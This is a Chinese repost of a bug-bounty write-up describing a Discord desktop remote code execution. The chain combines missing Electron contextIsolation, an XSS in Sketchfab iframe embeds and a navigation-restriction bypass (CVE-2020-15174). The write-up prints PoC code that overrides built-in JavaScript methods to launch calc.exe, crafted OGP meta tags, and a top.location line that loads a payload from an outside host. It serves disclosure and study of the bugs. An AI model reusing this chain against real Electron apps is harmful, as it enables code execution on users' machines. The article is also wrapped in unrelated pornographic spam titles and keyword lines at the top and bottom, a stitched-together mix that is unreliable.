精品欧美一区二区三区在线观看 _久久久久国色av免费观看性色_国产精品久久在线观看_亚洲第一综合网站_91精品又粗又猛又爽_小泽玛利亚一区二区免费_91亚洲精品国偷拍自产在线观看 _久久精品视频在线播放_美女精品久久久_欧美日韩国产成人在线

綜合三個Bug實現Discord桌面應用RCE漏洞

安全 漏洞
本文講述了作者在參加Discord眾測的過程中,通過多個bug的綜合利用,成功發現了Discord桌面應用的遠程代碼執行漏洞(RCE),收獲了$5,300的獎勵。

本文講述了作者在參加Discord眾測的過程中,通過多個bug的綜合利用,成功發現了Discord桌面應用的遠程代碼執行漏洞(RCE),收獲了$5,300的獎勵。

Discord 是一款適用于游戲玩家一體化語音和文字聊天的即時通信(IM)軟件。 目前 Discord 已經覆蓋 Windows、MacOS、Android、iOS、Windows Phone等多種主流平臺。

我選擇測試Discord的原因

由于我對Electron架構的APP漏洞測試比較有經驗,而剛好Discord應用正是基于Electron架構開發的,且我也是一名Discord用戶,所以本著測試把玩的心態,我就對Discord進行了分析。

發現的漏洞

我發現了以下Discord應用存在的三個bug,綜合利用最終形成了RCE漏洞:

  • Missing contextIsolation(contextIsolation功能未啟用)
  • XSS in iframe embeds(iframe嵌入功能中的XSS)
  • Navigation 導航限制功能繞過 (Navigation restriction bypass,CVE-2020-15174)

contextIsolation功能未啟用(Missing contextIsolation)

在測試Electron架構時,通常我會先檢查BrowserWindow API的選項,當創建瀏覽器窗口時BrowserWindow API會被調用。測試時,我就在想,當Electron渲染器(renderer)加載時,怎樣的任意JS代碼執行才會引起RCE?

雖然Discord的Electron架構并不是開源的,但Electron的JS代碼是保存在應用本地,所以我是可以提取查看到的。通過本地JS代碼的查看,我發現在APP主界面后臺下,使用了以下方法函數:

  1. const mainWindowOptions = { 
  2.   title: 'Discord', 
  3.   backgroundColor: getBackgroundColor(), 
  4.   width: DEFAULT_WIDTH, 
  5.   height: DEFAULT_HEIGHT, 
  6.   minWidth: MIN_WIDTH, 
  7.   minHeight: MIN_HEIGHT, 
  8.   transparent: false, 
  9.   frame: false, 
  10.   resizable: true, 
  11.   show: isVisible, 
  12.   webPreferences: { 
  13.     blinkFeatures: 'EnumerateDevices,AudioOutputDevices', 
  14.     nodeIntegration: false, 
  15.     preload: _path2.default.join(__dirname, 'mainScreenPreload.js'), 
  16.     nativeWindowOpen: true, 
  17.     enableRemoteModule: false, 
  18.     spellcheck: true 
  19.   } 
  20. }; 

從上述代碼片段中,可以看出,我們著重需要檢查的是其中的nodeIntegration和contextIsolation配置,這里的nodeIntegration都被配置為了false,且原先未修改版本的和contextIsolation也被配置為了false。

如果nodeIntegration為true,那么web頁面的JS代碼可以通過調用require()方法使用Node.js功能。比如,在Windows系統中執行以下計算器calc.exe程序的代碼:

  1. <script> 
  2.   require('child_process').exec('calc'); 
  3. </script> 

而在Discord這里,nodeIntegration為false,所以我也不能調用require()去使用Node.js功能。然而,仍然存在一種訪問Node.js功能的方法。接下來且聽我慢慢解釋。

Discord中的另一重要功能contextIsolation也配置為了false,該功能用來隔離不信任的內容,所以,如果你想消除RCE,那么該功能就不應該配置為false。如果contextIsolation為false,那么web頁面中的JS可以影響Electron內部渲染時的JS代碼和預加載腳本執行,(這里Electron內部渲染時的JS代碼指Web頁面之外的JS腳本),例如,假設用Web頁面JS中的方法函數,把Electron內置JS的方法Array.prototype.join覆蓋掉,那么Web頁面之外的JS腳本在加載join方法時,就會調用后來被覆蓋的方法函數。

這種行為是很危險的,因為這樣一來,可以不用考慮nodeIntegration配置,直接用覆蓋的方式,就可以讓Electron允許Web頁面之外的JS腳本使用Node.js特性,這種方式即使在nodeIntegration配置為false的情況下,都還還可演變為RCE漏洞。

我順便提一下,類似的缺陷早在2016年我在Cure53公司時就已經發現了,當時我上報給了Electron安全團隊,后來在Electron架構中就引入了contextIsolation功能。以下為最近才公開的技術細節PDF:

  • https://drive.google.com/file/d/1LSsD9gzOejmQ2QipReyMXwr_M0Mg1GMH/view
  • https://speakerdeck.com/masatokinugawa/electron-abusing-the-lack-of-context-isolation-curecon-en

contextIsolation功能的引入目的在于隔離Web頁面和Web頁面之外的JS代碼,讓它們在執行時不會產生相互影響。該功能非常有必要,因為如果存在不被信任的內容或操作,就會產生安全問題。而在Discord這里,該功能卻被配置為false,被禁用了。因此,遵循上述覆蓋JS腳本的方法,我對Discord的此處缺陷發起了測試。

由于Electron內置的JS代碼在渲染時可以在任意的Electron APP中執行,所以一般我測試Electron的RCE時,習慣首先在渲染時用Electron內置的JS代碼來測試。在我的文章中,我寫到了可以用Electron在執行navigation timing時的代碼來實現RCE,該缺陷不僅可以從代碼中發現,還可從其它地方發現(以后我會公布詳細的PoC實例)。但是,由于目標應用不同的Electron版本使用或BrowserWindow選項設置,Discord這里Electron運行啟動時,我實際測試的PoC總是不穩定,所以我把測試重點放在了預加載腳本上。

測試預加載腳本時,我發現Discord應用曝露了DiscordNative.nativeModules.requireModule('MODULE-NAME')方法函數,該函數功能在于可以通過其把一些模塊功能調用到Web頁面中去實現。然而,經測試發現,我并不能有效地調用類似child_process的模塊實現RCE,但卻可以用之前說過的覆蓋方法,覆蓋掉Discord Electron中內置的JS方法,干擾曝露模塊的執行,以此實現RCE。

以下為相關的PoC。當覆蓋掉Discord Electron中內置的RegExp.prototype.test和Array.prototype.join方法,調用"discord_utils"模塊中定義的getGPUDriverVersions方法函數時,可以觸發執行calc.exe程序:

  1. RegExp.prototype.test=function(){ 
  2.     return false; 
  3. Array.prototype.join=function(){ 
  4.     return "calc"; 
  5. DiscordNative.nativeModules.requireModule('discord_utils').getGPUDriverVersions(); 

getGPUDriverVersions方法函數用來執行"execa"庫調用:

  1. module.exports.getGPUDriverVersions = async () => { 
  2.   if (process.platform !== 'win32') { 
  3.     return {}; 
  4.   } 
  5.  
  6.   const result = {}; 
  7.   const nvidiaSmiPath = `${process.env['ProgramW6432']}/NVIDIA Corporation/NVSMI/nvidia-smi.exe`; 
  8.  
  9.   try { 
  10.     result.nvidia = parseNvidiaSmiOutput(await execa(nvidiaSmiPath, [])); 
  11.   } catch (e) { 
  12.     result.nvidia = {error: e.toString()}; 
  13.   } 
  14.  
  15.   return result; 
  16. }; 

通常,"execa"庫又是用來執行nvidiaSmiPath變量中指定的"nvidia-smi.exe"顯卡程序的,但由于覆蓋掉了RegExp.prototype.test 和 Array.prototype.join方法,"execa"庫中nvidiaSmiPath變量名即被覆蓋為了"calc"。

具體來說,nvidiaSmiPath中的變量覆蓋需要改變以下兩個JS文件:

  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L36
  • https://github.com/moxystudio/node-cross-spawn/blob/16feb534e818668594fd530b113a028c0c06bddc/lib/parse.js#L55

到了這步,"nvidia-smi.exe"可以成功被替換為"calc",那么接下來只需找到執行JS代碼的方式即可成功實現RCE了。

iframe嵌入功能中的XSS

在我嘗試挖掘XSS的過程中,我發現Discord APP支持類似autolink或Markdown的功能,這有點意思。經測試,如果Discord用戶交流信息中有視頻帖子,如You-tube URL,那么這里類似Markdown的iframe嵌入功能即可顯示出視頻播放器(video player)來。

由于Discord涉及到用戶的各種社交交流信息,所以其支持Open Graph Protocol(開放內容協議),如果用戶交流信息中包含OGP信息,那么Discord應用即會顯示出其中出現的網頁標題、描述、縮略圖和一些相關的視頻內容。當用戶交流信息中的視頻URL鏈接被嵌入到iframe中后,Discord應用會提取出該視頻URL鏈接。后續,我無法查看到Discord應用相關的iframe嵌入功能說明文檔,就只好在其CSP frame-src 指令中尋找線索,發現其采用了以下CSP策略:

  1. Content-Security-Policy: [...] ; frame-src https://*.you-tube.com https://*.twitch.tv https://open.spotify.com https://w.soundcloud.com https://sketchfab.com https://player.vimeo.com https://www.funimation.com https://twitter.com https://www.google.com/recaptcha/ https://recaptcha.net/recaptcha/ https://js.stripe.com https://assets.braintreegateway.com https://checkout.paypal.com https://*.watchanimeattheoffice.com 

可以看到,其中列出了允許iframe嵌入的策略(如對You-Tube, Twitch, Spotify視頻的嵌入)。接下來,我就對這些域名一個一個進行測試,希望在其中能在iframe視頻嵌入時觸發XSS。經過測試,我發現域名sketchfab.com可以在iframe嵌入時產生XSS,這是一個簡單的DOM-based XSS。以下是我根據OGP協議制作的一個PoC,當我把該URL鏈接以聊天方式發送給另一位Discord用戶時,點擊其中的iframe,就會觸發任意的JS代碼執行:

https://l0.cm/discord_rce_og.html

  1. <head> 
  2.     <meta charset="utf-8"> 
  3.     <meta property="og:title" content="RCE DEMO"> 
  4.     [...] 
  5.     <meta property="og:video:url" content="https://sketchfab.com/models/2b198209466d43328169d2d14a4392bb/embed"> 
  6.     <meta property="og:video:type" content="text/html"> 
  7.     <meta property="og:video:width" content="1280"> 
  8.     <meta property="og:video:height" content="720"> 
  9. </head> 

現在,雖然發現了XSS,但是觸發的JS代碼卻只能在iframe中執行。由于Electron不會把“Web頁面之外的JS代碼”加載進入iframe中,所以即使我覆蓋了其iframe內置的JS方法,還是不能調用Node.js相關功能。因此,要實現真正的RCE,還需要跳出iframe限制,在用戶瀏覽內容層面去考慮。這就需要在iframe框架中創建一個新窗口,或是從iframe中導航(navigating)到另一URL中的頂層窗口。

經過對相關代碼的分析,我發現Navigation restriction(導航限制)的主要代碼中用到了"new-window" 和 "will-navigate"兩個事件:

  1. mainWindow.webContents.on('new-window', (e, windowURL, frameName, disposition, options) => { 
  2.   e.preventDefault(); 
  3.   if (frameName.startsWith(DISCORD_NAMESPACE) && windowURL.startsWith(WEBAPP_ENDPOINT)) { 
  4.     popoutWindows.openOrFocusWindow(e, windowURL, frameName, options); 
  5.   } else { 
  6.     _electron.shell.openExternal(windowURL); 
  7.   } 
  8. }); 
  9. [...] 
  10. mainWindow.webContents.on('will-navigate', (evt, url) => { 
  11.   if (!insideAuthFlow && !url.startsWith(WEBAPP_ENDPOINT)) { 
  12.     evt.preventDefault(); 
  13.   } 
  14. }); 

只要突破這里,就可以在iframe框架中創建一個新窗口,或是從iframe中導航(navigating)到另一URL中的頂層窗口。然而,這里存在著一個讓我完全意想不到的缺陷。

Navigation restriction bypass (導航限制功能繞過,CVE-2020-15174)

在我對導航限制相關代碼進行檢查過程中,我本認為iframe對導航(navigation)應該是有限制的,但我驚奇地發現,iframe不知怎的對導航機制竟然沒有限制。我本來想著,"will-navigate"事件和preventDefault()會在導航動作繞過發生之前進行相關的捕捉或攔截,但是這卻沒有。

為了進行導航繞過測試,我創建了一個簡單的Electron應用,然后發現,頂部導航(top navigation)中的"will-navigate" 事件并不會從iframe中跳出,具體來說,如果頂部導航的所屬域和iframe的所屬域相同,"will-navigate" 事件會跳出,否則就不會跳出。這并不是一種合乎常理的操作行為,而是個Bug。有了這個Bug,我就能繞過導航限制了。最后,我要做的就是,導航到可以觸發XSS的iframe頁面,然后在其中包含進RCE Payload代碼。

  1. top.location="//l0.cm/discord_calc.html" 

最終,綜合利用以上三個Bug,我成功在Discord應用中實現的遠程代碼執行(RCE)。

POC視頻:https://tinyurl.com/y5nx6zjy

漏洞處理

我通過Discord眾測項目上報了這三個漏洞,之后,Discord安全團隊禁用了Sketchfab的嵌入功能,然后在iframe中加入了沙箱功能防止導航限制繞過,同時啟用了contextIsolation功能。我因此收獲了$5,000的漏洞獎勵。

https://github.com/electron/electron/security/advisories/GHSA-2q4g-w47c-4674

另外,其中的XSS漏洞上報給Sketchfab后,收獲了Sketchfab獎勵的$300;"will-navigate"事件Bug上報給Electron后,被分配了CVE-2020-15174的漏洞編號。

參考來源:mksben

 

責任編輯:趙寧寧 來源: FreeBuf
相關推薦

2022-02-14 07:54:27

漏洞WordPress

2014-12-05 10:41:22

2022-03-31 11:55:50

漏洞VoIP應用RCE漏洞

2018-08-29 05:33:52

2023-12-21 16:25:23

WeChatSnapchatShopee

2010-09-27 16:48:34

2022-11-10 09:57:24

2017-02-16 10:45:57

桌面Wiki

2024-03-01 12:39:40

2021-09-16 15:06:33

漏洞管理漏洞網絡攻擊

2024-02-18 17:03:41

2010-04-19 09:31:44

KDE

2025-08-08 02:00:00

AI應用開發

2016-09-13 22:28:08

云計算saaspaas

2010-08-30 16:14:26

DHCP實驗

2021-04-30 13:42:04

漏洞惡意代碼網絡攻擊

2020-06-11 09:00:27

SDN網絡架構網絡

2012-05-09 09:49:57

移動支付

2011-07-10 14:23:58

投影儀用戶體驗

2022-03-31 14:55:31

網絡安全漏洞
點贊
收藏

51CTO技術棧公眾號

av电影免费在线看| 午夜精品久久久久久久91蜜桃| 精品一区不卡| 欧美人xxxx| 国产成人在线小视频| 极品白浆推特女神在线观看| 国内欧美视频一区二区| 91黄色8090| √天堂中文官网8在线| 欧美美女在线直播| 欧美日韩一区二区不卡| 日韩欧美不卡在线| 午夜激情在线观看| 99精品久久99久久久久| 成人精品久久久| 国产成人精品网| 亚洲第一天堂| 亚洲性夜色噜噜噜7777| 国产免费a级片| 国产资源一区| 欧美色视频日本版| 警花观音坐莲激情销魂小说| 国产乱理伦片a级在线观看| 高清国产午夜精品久久久久久| 国产成人精品一区二区三区| 国产一级特黄视频| 图片区亚洲欧美小说区| 国产一区二区三区视频 | 免费人成精品欧美精品| 国内成人精品一区| 国产1区2区3区4区| 日韩欧美视频| 国产一区av在线| 韩国无码一区二区三区精品| 欧美电影在线观看一区| 欧美精品在欧美一区二区少妇| 999香蕉视频| 牛牛精品一区二区| 亚洲成a天堂v人片| 欧美一级中文字幕| 黄色网址在线免费| 国产精品亲子乱子伦xxxx裸| 日韩伦理一区二区三区av在线| 天天干天天摸天天操| 国产老妇另类xxxxx| 国产男女猛烈无遮挡91| 中文字幕精品一区二区精| 亚洲欧美日本日韩| 欧美做受高潮1| 亚洲熟女综合色一区二区三区| 亚洲国产免费看| 久久久久久69| 福利一区二区三区四区| 黄色成人在线网址| 欧美激情中文网| 国产精品a成v人在线播放| 狠狠综合久久av一区二区老牛| 久久夜色精品亚洲噜噜国产mv| 永久免费看片直接| 亚洲国产一区二区在线观看| 美女视频久久黄| 久久国产精品波多野结衣av| 中文字幕人成人乱码| 欧美另类在线播放| 日韩黄色a级片| 国产精品尤物| 国产精品国产福利国产秒拍| 中文字幕精品一区二区精| 精品中文av资源站在线观看| 91麻豆国产精品| 黄色三级网站在线观看| 91小视频在线观看| 天天久久人人| 中文字幕有码在线视频| 亚洲成av人片在线| 欧美激情精品久久久久久小说| 播放一区二区| 这里是久久伊人| 亚洲一区二区三区黄色| 美女久久久久| 久久成人人人人精品欧| 日韩精品一区三区| 日韩高清不卡在线| 亚洲free性xxxx护士hd| 午夜小视频在线播放| 国产日韩欧美一区二区三区综合| 五月天亚洲综合小说网| av毛片在线免费看| 欧美性猛交xxxx富婆| a在线观看免费视频| 日韩在线成人| 亚洲欧洲国产精品| 强行糟蹋人妻hd中文| 亚洲一区二区毛片| 成人天堂噜噜噜| 日本一区高清| 一区二区三区中文字幕精品精品| 免费无遮挡无码永久视频| 91国内外精品自在线播放| 日韩欧美在线影院| 香蕉视频久久久| 国产精品啊v在线| 日本国产欧美一区二区三区| 国产精品伊人久久| 久久久国产综合精品女国产盗摄| 激情五月五月婷婷| 日韩精品专区| 精品卡一卡二卡三卡四在线| 国产视频不卡在线| 国产精品美女久久久| 91欧美精品成人综合在线观看| 视频在线不卡| 一区二区高清在线| 亚洲性图一区二区| 亚洲日本三级| 久久露脸国产精品| 国产又黄又猛又爽| 久久久不卡网国产精品二区| 欧美国产视频一区| 日韩电影精品| 尤物yw午夜国产精品视频明星| 久热这里只有精品在线| 久久99精品久久久久久动态图| 欧美二区三区在线| 国产精品一区二区日韩| 欧美一级夜夜爽| 中文字幕资源站| 日本成人在线电影网| 久久综合中文色婷婷| 动漫一区二区| 欧美大黄免费观看| 三级影片在线看| 狠狠色丁香九九婷婷综合五月| 三级三级久久三级久久18| 欧美gay囗交囗交| 日韩精品视频在线免费观看| 国产对白videos麻豆高潮| 国产成人小视频| av动漫在线免费观看| 国产精品欧美一区二区三区不卡 | 欧美下载看逼逼| 激情黄产视频在线免费观看| 精品国产3级a| 日韩免费视频网站| 成人av在线播放网站| 久久99久久久久久| 嗯用力啊快一点好舒服小柔久久| 欧美福利视频网站| 亚洲av无码一区二区乱子伦| 亚洲综合av网| 日本精品一二三区| 激情偷拍久久| 久久久久久高清| xx欧美xxx| 一区二区三区天堂av| 国产日韩久久久| 亚洲国产高清在线观看视频| 麻豆一区二区三区视频| 日韩精品dvd| 亚洲精品女av网站| 日本天码aⅴ片在线电影网站| 精品少妇一区二区三区免费观看 | 国内精品嫩模av私拍在线观看| 99久久免费国| 免费h在线看| 国产一区二区久久精品| 亚洲影院一区二区三区| 亚洲三级在线播放| www.四虎在线| 西西人体一区二区| 亚洲精品成人a8198a| 国产美女亚洲精品7777| 欧美激情videoshd| 欧美色18zzzzxxxxx| 欧美三级在线视频| 欧美交换国产一区内射| 99re66热这里只有精品3直播| 蜜臀久久99精品久久久酒店新书 | 成人一区二区在线观看| 日韩欧美国产综合在线| 久久综合亚洲| 成人中心免费视频| 日本午夜大片a在线观看| 亚洲午夜精品久久久久久久久久久久| 国产精品美腿一区在线看| 亚洲爆乳无码一区二区三区| 五月婷婷综合在线| 日本一区二区视频在线播放| 国产一区久久久| 国产精品999视频| 国产成人无码av| 国产91精品免费| 日韩手机在线观看视频| 亚洲女同另类| 久久精品五月婷婷| 香蕉久久一区| 亚州成人av在线| 91女主播在线观看| 精品国产91九色蝌蚪| 中文在线观看免费高清| 亚洲国产精品久久久男人的天堂| 蜜桃传媒一区二区亚洲| 国产91精品免费| 亚洲一级免费在线观看| 国产精品视频久久一区| 日本精品免费视频| 国产精品亚洲片在线播放| 99re视频在线| 欧美视频免费看| 欧美性受xxxx白人性爽| av文字幕在线观看| 在线观看日韩欧美| 桃花色综合影院| 精品美女被调教视频大全网站| 中文字幕欧美人妻精品| 图片区小说区国产精品视频| 亚洲一级生活片| 国产精品美女视频| 强伦人妻一区二区三区| 波多野结衣中文字幕一区二区三区 | 激情无码人妻又粗又大| 26uuu国产日韩综合| 欧美熟妇精品一区二区| 精品无人码麻豆乱码1区2区| 九色porny91| 久久亚洲一区| 成人在线免费观看av| 在线观看视频日韩| 黄色一级片黄色| 在线观看国产精品入口| 亚洲欧洲精品一区| 日韩激情在线| 亚洲日本japanese丝袜| 精品国产乱码久久久久久果冻传媒 | 免费在线性爱视频| 日韩av一区在线观看| 亚洲国产成人精品一区二区三区| 91精品国产全国免费观看| 一区二区三区播放| 欧美日韩精品免费观看视频| 精品一区二三区| 欧美日韩精品欧美日韩精品一| 中文字幕一区二区在线视频 | 99精品久久久久久中文字幕| 欧美二区三区91| 在线观看亚洲一区二区| 欧美日韩日日骚| 在线不卡免费视频| 欧美高清视频在线高清观看mv色露露十八 | 国语精品一区| 欧洲精品一区二区三区久久| 精品96久久久久久中文字幕无| 国产亚洲精品久久久久久久| 91精品一区二区三区综合在线爱| 中文字幕在线亚洲三区| 欧美激情1区2区3区| 国产精品免费看久久久无码| 国内精品福利| 男女午夜激情视频| 日本麻豆一区二区三区视频| 午夜宅男在线视频| 韩国欧美一区二区| 少妇伦子伦精品无吗| 久久综合精品国产一区二区三区| 无码人妻精品一区二区中文| 国产精品久久久久久久裸模| 搜索黄色一级片| 亚洲一级二级三级| 天堂网av手机版| 欧美这里有精品| 国产青青草视频| 亚洲第一福利网| 大地资源中文在线观看免费版| 深夜福利亚洲导航| 日韩三级免费| 茄子视频成人在线| 在线观看欧美| 国产美女精品久久久| 久久不见久久见中文字幕免费| 亚洲一区美女| 99国产一区| 亚洲天堂国产视频| 不卡av在线免费观看| 一级片久久久久| 亚洲午夜电影在线观看| 男人天堂av在线播放| 91麻豆精品国产91久久久久久久久| 成人精品在线播放| 这里只有精品视频| 欧美人动性xxxxz0oz| 国产999精品视频| 久久视频社区| 日本精品一区二区三区视频| 欧美高清视频手机在在线| 水蜜桃色314在线观看| 裸体在线国模精品偷拍| 亚洲成av人片在线观看无| 亚洲国产精品黑人久久久| 久久视频免费看| 欧美日韩在线播放一区| 日韩中文字幕综合| 日韩三级影视基地| 一二三四视频在线中文| 91最新在线免费观看| 国产精品手机在线播放| 日韩精品一区在线视频| 韩国成人在线视频| a天堂中文字幕| 亚洲成av人片一区二区| 国产成人精品无码高潮| 最近2019年日本中文免费字幕| 国内激情视频在线观看| 51国偷自产一区二区三区 | 一区二区福利视频| 黄色激情在线播放| 97久久人人超碰caoprom欧美| 欧美三级伦理在线| 116极品美女午夜一级| 成人性生交大片免费看中文| 午夜精品一区二区三级视频| 欧洲一区二区三区免费视频| 天堂av在线播放| 午夜精品在线观看| www.豆豆成人网.com| 992tv快乐视频| 国产一区二区三区免费播放| 天堂网av2018| 欧美视频精品在线| 成人在线观看一区| 国产精品高潮在线| 成人精品久久| 色一情一乱一伦一区二区三区日本| 久久综合九色综合欧美98| 91精品国产综合久久久蜜臀九色| 亚洲成人久久一区| 国产免费拔擦拔擦8x在线播放| 国产激情一区二区三区在线观看 | 精品国产999久久久免费| 色婷婷久久一区二区| 九九久久国产| 亚洲欧美精品| 韩国v欧美v亚洲v日本v| 欧美xxxooo| 日韩欧美的一区二区| 亚洲国产精品精华素| 懂色一区二区三区av片| 伊人狠狠色j香婷婷综合| 久久久久亚洲无码| 欧美午夜精品久久久久久人妖| 精品视频一二区| 国产精品激情自拍| 97精品国产| 一级片黄色免费| 亚洲一区二区三区四区五区黄| 黄色片网站免费在线观看| 97碰碰碰免费色视频| 亚洲区小说区图片区qvod按摩| 国产v亚洲v天堂无码久久久| 欧美高清在线视频| 国产精品视频一区二区三区,| 久久天天躁夜夜躁狠狠躁2022| 日韩综合一区二区三区| 激情深爱综合网| 国产午夜精品理论片a级大结局| 一本色道久久综合熟妇| 久久资源免费视频| 给我免费播放日韩视频| 日本三级免费网站| 国产精品污污网站在线观看| 国产露脸无套对白在线播放| 久久久亚洲欧洲日产国码aⅴ| 欧美禁忌电影网| 亚洲一二区在线观看| 精品久久久久久久久久| av在线播放免费| 91成人免费视频| 亚洲欧美日本国产专区一区| 国内毛片毛片毛片毛片毛片| 欧美不卡一二三| 写真福利精品福利在线观看| 亚洲资源在线网| 成年人网站91| 91超薄丝袜肉丝一区二区| 久久久久久久久久久网站| 成人91在线| 亚洲少妇一区二区三区| 欧美系列亚洲系列| 激情在线视频播放| 日本在线播放一区| 高清不卡一区二区| 精品视频一二三区| 欧美激情一级欧美精品| 日本不卡电影| 噜噜噜在线视频| 91精品国产品国语在线不卡| 日韩精品专区| 人人妻人人做人人爽| 18涩涩午夜精品.www| 你懂的视频在线| 国产精品成人一区二区三区|